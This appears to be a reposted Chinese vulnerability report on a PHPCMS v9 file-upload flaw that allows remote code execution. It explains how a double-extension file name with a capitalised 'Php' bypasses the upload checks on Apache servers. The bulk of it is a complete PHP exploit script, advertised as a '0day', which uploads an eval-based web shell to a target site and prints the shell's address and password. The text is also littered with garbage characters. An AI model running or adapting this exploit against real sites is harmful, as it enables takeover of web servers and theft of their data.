漏洞类型: 文件上传导致任意代码执行+ p4 \, W1 [) x! |& w9 j4 S4 W/ c. U
6 l2 M& v4 b# ]3 m% D t简要描述:
& X# w. y: [8 I5 b9 r' m' H
, ?8 J5 u8 S. O7 B$ r# vphpcms v9 getshell (apache)
k# ?" G7 g9 T `# P: H详细说明:
. e: `2 g+ N ~6 _9 b. D( a1 D% \( e. d1 o: E
漏洞文件:phpcms\modules\attachment\attachments.php
! ^ Z; K% q: V8 i- G( v- ?4 X% @, N; X; Z( J' f W' N
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } } ! a/ M5 t& h0 q$ I+ o1 j5 N s# G
后缀检测:phpcms\modules\attachment\functions\global.func.php
9 X! @% x/ S/ ~0 \# [3 O
$ U; E) R# h# j. [" U( a 9 D1 ]3 C* h- n* n! X& W
T+ D* \2 M" p, z# M9 \
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; } 3 s* p+ ^% }3 W' t+ q9 U
- i1 R8 T1 `* v' O$ `. L2 i
关键函数:
" P7 `8 Z% k5 |; R5 T/ E% e
; A3 R* h& i2 U( x8 k) S, F \
! s! _ D2 J) r4 \8 g% ]4 q. J% w* G2 f: z& W5 T! a3 w2 L, S
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); } & b V) [# c8 M7 v0 v
0 A& K3 ]/ \3 {% t/ K- w; u7 \
Fileext函数是对文件后缀名的提取。
& y$ ?* \9 j+ X L+ t% B根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php- o H A% u+ `: X
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。1 i" R L2 D( j, a0 u; h
我们回到public function crop_upload() 函数中2 q. W; j+ m& r8 P, E9 C( }) Y \
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
, v& s# `6 x: n8 Z4 i3 Y在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
: r& I5 m$ w5 r F这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。$ g+ T. k( r3 S! D+ }) d( O
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
; y( G( \9 A5 _) S5 E最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
+ a/ S4 |! F) D& l% \, Z看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。" ?4 R# Z) Y9 R( m: ^
漏洞证明:
$ d5 q A8 _( Z! n! h6 Z1 X5 E, a# M8 U" S A U+ w3 E$ Z# f/ h. g
exp:
* |" Y$ b u& _$ S
7 t0 l# k7 Z% r0 \2 Y<?php- T, U/ A0 e- G7 z2 w7 ^2 d
error_reporting(E_ERROR);
0 I9 K( t5 M/ {set_time_limit(0);/ [2 `* ]( {! f% _% I" Z
$pass="ln";
' ~3 Z* w z8 dprint_r('6 t; n' a. \# J$ R/ J4 a
+---------------------------------------------------------------------------+3 q9 _& @( t7 k. @% \, T) M) ]
PHPCms V9 GETSHELL 0DAY 5 a: f/ P3 P! S* V
code by L.N.
8 t0 l2 m6 N0 k4 H' C
/ w* ^! x0 u; ]8 Y2 Oapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
) h5 @9 m! i9 v3 j+---------------------------------------------------------------------------+; J. D4 [6 G2 X$ k
');
0 V& ~) k% S* K) m& i1 a4 d" dif ($argc < 2) {3 D3 J: I) y% U/ j/ j% F7 {
print_r('. Z8 p2 x2 [) v
+---------------------------------------------------------------------------+
% z; B5 h/ U3 rUsage: php '.$argv[0].' url path, r/ @9 V4 _6 z* a. Z
4 R6 d2 [2 o+ VExample:' h, ?3 N4 _7 R, t( ?* `2 S
1.php '.$argv[0].' lanu.sinaapp.com9 ~5 i7 k9 Y/ z
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
6 }- \+ c7 r5 M: @4 k+---------------------------------------------------------------------------+
- k" h- u' d u. r');
& t, {5 c4 ^: O* f+ N2 D& F, D/ texit;
4 X: U8 r% |) B$ D4 r8 i& V}8 q) u: f' v3 d8 A! _
' h+ G& ^+ M* I' @- _$url = $argv[1];" g E; h2 S; e( z- o1 E2 p
$path = $argv[2];
W- Z' y+ _2 X8 u$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
7 F* I0 P6 Z( `$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
# r- Z' x9 t- O: fif($ret=Create_dir($url,$path)). T6 v* i+ `4 O/ Z' M9 E
{: l6 ?3 y2 O- O, {+ p- F/ }
//echo $ret;- D7 N; j( X& h. V5 B* V9 w% D
$pattern = "|Server:[^,]+?|U";
) g5 Z/ E5 q( m4 \0 Q5 X/ @preg_match_all($pattern, $ret, $matches);
/ n8 ?, P7 S8 l% p/ m' U+ P- H ~if($matches[0][0])
6 r9 ?3 b8 B$ O0 M6 ?. d3 E8 a8 G# V{+ D7 `2 _7 u' f; I- \& o& r" O
if(strpos($matches[0][0],'Apache') == false)
; X$ t1 H0 W6 r) {+ }{
/ H4 W: @6 B- F7 j% C: ~; A3 K' kecho "\n亲!此网站不是apache的网站。\n";exit;
3 K6 B! |( a! d: a/ `+ t}
+ a* j$ I9 R2 z1 t- o7 k3 W: d}
+ ]* @ b" z D: v$ret = GetShell($url,$phpshell,$path,$file);
8 j6 A7 S* M# t! i7 w. V0 ^$pattern = "|http:\/\/[^,]+?\.,?|U";
' H8 ]5 G( E2 `preg_match_all($pattern, $ret, $matches);) H0 ]( B- Y6 \- `0 j0 U) l
if($matches[0][0])* z! z7 Z- Z; ^6 l
{" w7 K& v' w4 _& ?+ @; I
echo "\n".'密码为: '.$pass."\n";/ d. K; U7 r6 V! F0 c
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;% G, n- s0 X% o- h2 R
}
0 Z5 X) P2 M5 ~9 q1 Gelse* l& [7 K; ^ v; i" g
{& D+ v0 c) U* c
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";4 n1 P& \ T( x" _
preg_match_all($pattern, $ret, $matches);5 k1 Q8 a7 ]. N
if($matches[0][0])
& l( a; G/ x6 H4 {9 ~{
* w6 E4 E) `! w4 j% lecho "\n".'密码为: '.$pass."\n";
8 p9 K3 O8 `6 e9 aecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
5 `& }0 Q, \$ j; I7 D}/ W9 |3 ^2 Q, z& b" D+ [
else# i/ i3 Y; x8 g0 h
{
$ f* d- q; C1 \) Q0 Z M2 |echo "\r\n没得到!\n";exit;
- M! ~7 v( E! B) Y% t3 n}
) y+ K0 M% z% Z& D$ \3 V}
) _' c# b" x! W- N. {- X9 E. @}% a, k# U5 v/ b
/ X9 E* ? D* m- f! c# I2 Xfunction GetShell($url,$shell,$path,$js)
* p* c, q' ]' x9 @{
9 ^) g @0 }) d1 Z$content =$shell;
5 i7 D- D6 `0 a& b" e$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
1 r2 x' o( U8 b- h' H% i$data .= "Host: ".$url."\r\n";' ~7 U. j" h& Q1 c) X. \6 F& V* }, \% Z
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";5 M+ `3 C' `$ G1 ` s
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";& Z+ X* t/ t9 S! r r
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
' j" i. I* f. F3 a' h$data .= "Connection: close\r\n";# A+ ~! h1 f9 L5 S1 Z
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$ x8 ~- {( W# p& Z" D$ {5 S$data .= $content."\r\n";
0 l! N3 [, H9 E6 K2 Y$ock=fsockopen($url,80);3 f* ?% p2 s) A
if (!$ock)6 U( Z* M" ]" A. W& n5 v$ d7 s1 R
{
Z% R9 R. M* I8 X; becho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
$ G/ Q6 [8 v- n6 y0 n5 ^( ?# G; M}# E1 G( N' v$ H* Y) X5 n" Q
else
) r/ ?, {: ~& I. v( Z0 B, K! h' I{
4 A9 i, Q1 R. X$ J9 }fwrite($ock,$data);$ a8 m* b S! E# I
$resp = '';' r3 z% q7 L+ K/ V$ X# T
while (!feof($ock))
, p5 `- H! j. F7 W{2 o$ \9 |1 n4 G! Z/ V" z; G/ Y
$resp.=fread($ock, 1024);
; q$ S1 F7 N& {7 U" }}
9 K- r1 C _$ h- r0 U1 }! b# Breturn $resp;2 J V0 j3 @1 ]5 }
}8 n! D; Y8 Y" Z, _! `
}
4 G0 K9 ]% S1 q" ?
6 ?& Y" I' q/ d& o+ bfunction Create_dir($url,$path='')1 }% w& W3 v+ B* t3 \4 }
{: K7 ^0 @5 m' \+ x4 L8 `: Y
$content ='I love you';- x! G: ~/ ^0 I# N& o$ t& z$ M
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
* Q: C2 I9 y$ D/ r- d7 O. {$data .= "Host: ".$url."\r\n";- g1 M0 f2 g! T7 [8 ]
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";1 L/ L: q0 J# I" q( m: X; E
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
- u' S' D; [6 a, }! f$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";! ^: V" U O1 V
$data .= "Connection: close\r\n";
5 u8 s8 o% s% V( B% d2 L7 x5 _$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 K6 u; b- M5 g8 d; F$data .= $content."\r\n";& j. g9 V/ H9 ^+ g B1 r
$ock=fsockopen($url,80);
1 ^! e X. w* w4 L1 r6 Kif (!$ock)8 P J6 H( b1 Y8 {7 k
{
# A/ [; l. {! ]/ C& k7 f3 D9 Recho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
! L. g+ l+ L4 G' H, v$ |, N+ `}
1 p8 U/ F! Y. W5 Yfwrite($ock,$data);
: a1 t" } H$ q8 G& n1 [# O) k$resp = '';0 J# [, }8 @" n; h( C
while (!feof($ock))
7 w3 ^; }* |7 q: o% V# Z{7 A G: P7 ^1 z5 [! ~0 f
$resp.=fread($ock, 1024);7 Z2 E7 M. C$ a' u+ m/ t3 Q S
}9 H2 X, p# ]% F: E, M+ J9 B/ M# z
return $resp;
% I v3 d! ?' A3 t8 V2 d0 F}
1 P' D% _ f6 H. D1 C2 o+ K! Z?> + }) t3 I0 b4 g7 Y. l; V$ |
. B5 U+ o6 v/ y5 k' g) R
修复方案:8 e: G) p: g- p* O+ C4 t
) h, _# T* W @4 |+ y$ T) G过滤过滤再过滤
' y0 z. \: O* T
/ D, }8 p* p4 }( J* r4 B |